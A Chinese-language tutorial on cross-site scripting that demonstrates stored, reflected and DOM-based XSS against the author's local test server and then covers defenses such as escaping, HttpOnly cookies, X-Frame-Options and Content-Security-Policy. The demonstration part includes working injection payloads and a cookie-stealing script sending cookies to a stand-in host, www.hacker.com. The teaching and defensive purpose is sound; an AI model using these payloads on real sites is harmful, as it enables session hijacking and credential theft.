跨站脚本攻击（XSS）-Toy模板网

这篇具有很好参考价值的文章主要介绍了跨站脚本攻击（XSS）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

1、简介

XSS ：Cross Site Scripting，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。在一开始的时候，这种攻击的演示案例是跨域的，所以叫"跨站脚本"。但是发展到今天，由于JavaScript的强大功能基于网站前端应用的复杂化，是否跨域已经不再重要。但是由于历史原因，XSS这个名字一直保留下来。XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大，且产生的场景复杂，难以一次性解决。现在业内达成的共识是：针对各种不同场景产生的XSS，需要区分情景对待。

攻击原理：

XSS的原理是WEB应用程序混淆了用户提交的数据和JS脚本的代码边界，导致浏览器把用户的输入当成了JS代码来执行。

XSS攻击演示：

（1）通过页面插入留言信息

<body>
    <form action="/lm/add" method="post">
        <input name="content"/>
        <input type="submit" value="留言"/>
    </form>
</body>

（2）页面展示

<body>
    <table>
        <thead>
        <th>序号</th>
        <th>留言</th>
        <th>时间</th>
        </thead>
        <tbody>
            <tr th:each="lm,stat:${list}">
                <td th:text="${lm['id']}"> </td>
                <td th:utext="${lm['content']}"> </td>
                <td th:text="${lm['date']}"> </td>
            </tr>
        </tbody>
    </table>
</body>

（3）测试

留言：http://www.edu.com/storexss.html
查看：http://www.edu.com/admin/main

注：这里的网站是我自己运行的本地服务器，只不过是修改了host文件，将localhost改为此域名，后端执行逻辑省略。

正常：

窗前明月光，我是郭德纲

<!--恶意脚本植入-->
<script>alert('hey!you are attacked');</script>

<!--劫持流量实现恶意跳转-->
<script>window.location.href='http://www.baidu.com'</script>

<img src="a.jpg" onerror="alert('Attack')"/>

数据和代码分离原则，你期望用户输入的数据，而攻击者输入的是代码。

2、XSS攻击

存储型XSS
反射型XSS
DOM型XSS

存储型XSS

存储型XSS，也就是持久型XSS。攻击者上传的包含恶意JS脚本的信息被Web应用程序保存到数据库中，Web应用程序在生成新的页面的时候如果包含了该恶意JS脚本，这样会导致所有访问该网页的浏览器解析执行该恶意脚本。这种攻击类型一般常见在博客、论坛等网站中。

存储型是最危险的一种跨站脚本，比反射性XSS和Dom型XSS都更有隐蔽性。
因为它不需要用户手动触发，任何允许用户存储数据的web程序都可能存在存储型XSS漏洞。
若某个页面遭受存储型XSS攻击，所有访问该页面的用户会被XSS攻击。

跨站脚本攻击（XSS）

攻击步骤：

攻击者把恶意代码提交到目标网站的数据库中
用户打开目标网站，网站服务端把恶意代码从数据库中取出，拼接在HTML上返回给用户
用户浏览器接收到响应解析执行，混在其中的恶意代码也被执行
恶意代码窃取用户敏感数据发送给攻击者，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作

存储型 XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信、留言等功能。

（1）简单攻击：

测试路径：http://www.edu.com/storexss.html
<script>alert('hello');</script>

（2）获取cookie信息：

登录窗口：http://www.edu.com/storexss.html
<script>alert(document.cookie)</script>

（3）黑客窃取cookie：

用户窃取cookie，具体实现就是将用户的cookie值发送到黑客工具箱，那么就需要将窃取用户cookie的js植入到系统中。考虑到窃取用户的js脚本过长不宜直接编写脚本植入，可以通过外部脚本的方式实现。

http://www.hacker.com 127.0.0.1
http://www.edu.com 127.0.0.1 （注：这些域名都是我修改本地localhost域名，它们是我自己搭建的本地服务器）
<script src="http://www.hacker.com/script/hacker.js"></script>

窃取失败：

Access to XMLHttpRequest at 'http://www.hacker.com/s?c=url:http://www.edu.com/lm/query%20cookie:JSESSIONID=6756A3597BDC58B29A
BF7806F4B533AD' from origin 'http://www.edu.com' has been blocked byCORS policy: No 'Access-Control-Allow-Origin' header is present on therequested resource.

（4）绕过浏览器同源策略：

图片可以加载外部的数据源

(function () {
    (new Image()).src = 'http://www.hacker.com/h?c=' +
    escape("url=" + document.location.href) +
    escape('&cookie=' + document.cookie);
})();

<script src="http://www.hacker.com/script/hacker2.js"></script>

访问：http://www.hacker.com/g

（5）通过cookie入侵

反射型XSS

反射型XSS，又称非持久型XSS，恶意代码并没有保存在目标网站，而是通过引诱用户点击一个恶意链接来实施攻击。这类恶意链接有哪些特征呢？

主要有：

恶意脚本附加到 url 中，只有点击此链接才会引起攻击
不具备持久性，即只要不通过这个特定 url 访问，就不会有问题
xss漏洞一般发生于与用户交互的地方

演示连接：http://www.edu.com/reflectxss?reflectxss=

（1）正常处理

http://www.edu.com/reflectxss?reflectxss=lagou

（2）脚本入侵

http://www.edu.com/reflectxss?reflectxss=<script>alert('lagou')</script>

（3）获取cookie

http://www.edu.com/reflectxss?reflectxss=<script>alert(document.cookie)</script>

（4）构造DOM

http://www.edu.com/reflectxss?reflectxss=<input type="button" value="登录"/>

DOM型XSS

DOM（Document Object Model），DOM型XSS其实是一种特殊类型的反射型XSS（不存储），它是基于DOM文档对象模型的一种漏洞，而且不需要与服务器进行交互（不处理）。

客户端的脚本程序可以通过DOM来动态修改页面内容，从客户端获取DOM中的数据并在本地执行。基于这个特性，就可以利用JS脚本来实现XSS漏洞的利用。

演示连接：http://www.edu.com/domxss.html?domxss=paramvalue

（1）正常处理

http://www.edu.com/domxss.html?domxss=lagou

（2）脚本入侵，未遂

http://www.edu.com/domxss.html?domxss=<script>alert('lagou')</script>

使用innerHTML获得的JS代码是不能被执行的，JS只有在页面初次加载的时候才有效

（3）构造DOM

http://www.edu.com/domxss.html?domxss=<input type="button" value="登录"/>

（4）构造DOM

http://www.edu.com/domxss.html?domxss=<input type="button" value="登录" onClick="alert(document.cookie)"/>

（5）利用img标签

http://www.edu.com/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' οnerrοr='alert(110)'/>

3、植入JS代码攻击及危害分析

外在表现形式：

直接注入JavaScript代码
引用外部JS文件

基本实现原理：

通过img标签的src发送数据
构造表单诱导用户输入账密
构造隐藏的form表单自动提交
页面强制跳转
植入文字链接、图片链接

潜在危害：

获取管理员或者其他用户Cookie，冒充身份登录
构造表单诱导用户输入账号、密码，获取账密
跳转到其他网站，网站流量被窃取
植入广告、外链等
通过隐藏友链提升其他网站百度权重（SEO黑帽）

4、植入HTML代码攻击及危害分析

外在表现形式：

构造img标签
构造a标签
构造iframe
构造其他HTML标签

基本实现原理：

通过img标签的src发送数据
通过img的onerror触发脚本代码
通过a标签被动触发脚本代码 href/onclick
通过iframe引入第三方页面
直接构造文字链接或图片链接

潜在危害：

获取管理员或者其他用户Cookie，冒充身份登录
构造表单诱导用户输入账号、密码，获取账密
植入广告、外链等
通过隐藏友链提升其他网站百度权重（SEO黑帽）

5、XSS漏洞预防策略

XSS攻击能够实现的主要原因：对用户的输入进行了原样的输出。

输入环节：

页面限制输入长度、特殊字符限制，后端代码限制输入长度、处理特殊字符，Filter过滤器统一处理（自定义处理规则、使用apache commons text、使用 owasp AntiSamy）注意：尽量不要使用自定义处理规则，因为因为有些情况我们可能考虑不到，尽量使用第三方，成熟工具包。

当然了如果你有钞能力，使用阿里云防火墙，是一个完美的选择。

开发人员来说，在后台执行用户录入数据长度的判断，特殊字符的专业通常会定义在流量官网部分。

跨站脚本攻击（XSS）

Cookie防护：

通过植入的JS脚本获得用户的cookie，获得用户权限。cookie设置httponly，一般servlet容器默认httpOnly true。

在流量网关中统一做处理：

resp.setHeader("SET-COOKIE", "JSESSIONID=" +request.getSession().getId()+ "; HttpOnly")

X-Frame-Options 响应头（是否允许frame、iframe等标记)：

iframe允许加载外部的网页，也可以自己作为外部网页被加载，同时是可以被隐藏。

是否允许用户去使用iframe，指定iframe加载的网页地址。

DENY 不允许、SAMEORIGIN 可在相同域名页面的 iframe 中展示、ALLOWFROM uri 可在指定页的 frame 中展示。

add_header X-Frame-Options SAMEORIGIN; //在nginx的http或server节点中配置
// 也可通过filter设置 
resp.setHeader("x-frame-options","SAMEORIGIN");

输出环节：

OWASP ESAPI for Java

显示时对字符进行转义处理，各种模板都有相关语法，注意标签的正确使用。通常情况下前端框架或者对应的模板引擎都将转义设置为默认。

thymeleaf：

<!--非转义输出,原样输出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--转义输出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>

JSP

<!--默认true,进行转义-->
<c:out value=" ${ content }" escapeXml="false" />
<c:outvalue=" ${ content }"/>

DOM型XSS:

避免 .innerHTML、.outerHTML、document.write()，应使用.textContent、.setAttribute() 等。
尤其注意onclick、onerror、onload、onmouseover 、eval()、setTimeout()、setInterval() 以及的 href

富文本处理：

在过滤富文本时，“事件”应该被严格禁止，因为富文本的展示需求里不应该包括“事件”这种动态效果。危险的标签，比如<iframe>、<script>、<base>、<from>等，也是应该严格禁止的。在标签的选择上，应该使用白名单，避免使用黑名单。比如，只允许<a>、<img>、<div>等比较安全的“标签”存在。富文本过滤中，处理CSS是一件比较麻烦的事情，如果允许用户自定义CSS、则也可能导致XSS攻击。比如尽可能的禁止用户自定义CSS与Style。有些比较成熟的开源项目，实现了对富文本的XSS检查。Anti-Samy是OWASP上的一个开源项目，也是目前最好的XSS Filter。

6、内容安全策略（CSP）

内容安全策略 (CSP ：Content-Security-Policy ）是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本 (XSS) 和数据注入攻击等。

核心思想：网站通过发送一个 CSP 头部，来告诉浏览器什么是被授权执行的与什么是需要被禁止的，被誉为专门为解决XSS攻击而生的神器。

简介：

XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行，因为浏览器信任其内容来源，即使有的时候这些脚本并非来自于它本该来的地方。

CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。

一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。

CSP的分类：

（1）Content-Security-Policy

配置好并启用后，不符合 CSP 的外部资源就会被阻止加载。

（2）Content-Security-Policy-Report-Only

表示不执行限制选项，只是记录违反限制的行为。它必须与report-uri 选项配合使用。

CSP的使用：

（1）在HTTP Header上使用（首选）
可以在网关的Filter中配置或者在Nginx服务器配置

"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

Nginx配置方式

add_Header Content -Security-Policy : 策略

（2）在HTML上使用

<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

如果Content-Security-Policy-Report-Only 头部和 Content-Security-Policy 同时出现在一个响应中，两个策略均有效。在Content-Security-Policy 头部中指定的策略有强制性，而Content-Security-Policy-Report-Only 中的策略仅产生报告而不具有强制性。支持CSP的浏览器将始终对于每个企图违反你所建立的策略都发送违规报告，如果策略里包含一个有效的reporturi指令。

使用案例

开启CSP方法：

<!--设置 HTTP 的头部字段-->
<!--加载css、js-->
response.setHeader("Content-Security-Policy","default-src http: https:");
<!--设置网页的<meta>标签-->
<meta http-equiv="Content-Security-Policy" content="formaction 'self';">

跨站脚本攻击（XSS）

限制所有的外部资源，都只能从当前域名加载，不包含子域名

Content-Security-Policy: default-src 'self'

限制所有的外部资源，都只能从当前域名及其子域名加载

Content-Security-Policy: default-src 'self' *.lagou.com

图片可以从任何地方加载(注意 "*" 通配符)。

多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)。

可运行脚本仅允许来自于scripts.lagou.com。

Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src scripts.lagou.com

服务器仅允许通过HTTPS方式并仅从onlinebanking.abc.com域名来访问文档（线上银行网站）

Content-Security-Policy: default-src https://onlinebanking.abc.com

启用违例报告：

默认情况下，违规报告并不会发送。为启用发送违规报告，你需要指定report-uri 策略指令，并提供至少一个URI地址去递交报告：

Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi

然后你需要设置你的服务器能够接收报告，使其能够以你认为恰当的方式存储并处理这些报告。

违例报告样本：

我们假设页面位于 http://example.com/signup.html。它使用如下策略，该策略禁止任何资源的加载，除了来自cdn.example.com的样式表。

Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports

signup.html 的HTML像这样：

<!DOCTYPE html>
<html>
    <head>
        <title>Sign Up</title>
        <link rel="stylesheet" href="css/style.css">
    </head>
    <body>
        ... Content ...
    </body>
</html>

你能看出其中错误吗？样式表仅允许加载自cdn.example.com，然而该页面企图从自己的源 ( http://example.com )加载。当该文档被访问时，一个兼容CSP的浏览器将以POST请求的形式发送违规报告到 http://example.com/_/cspreports，内容如下：

{
    "csp-report": {
    "document-uri": "http://example.com/signup.html", <!--访问的网页资源-->
    "referrer": "",
    "blocked-uri": "http://example.com/css/style.css", <!--违规资源的路径-->
    "violated-directive": "style-src cdn.example.com",
    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
    }
}

blocked-uri字段中包含了违规资源的完整路径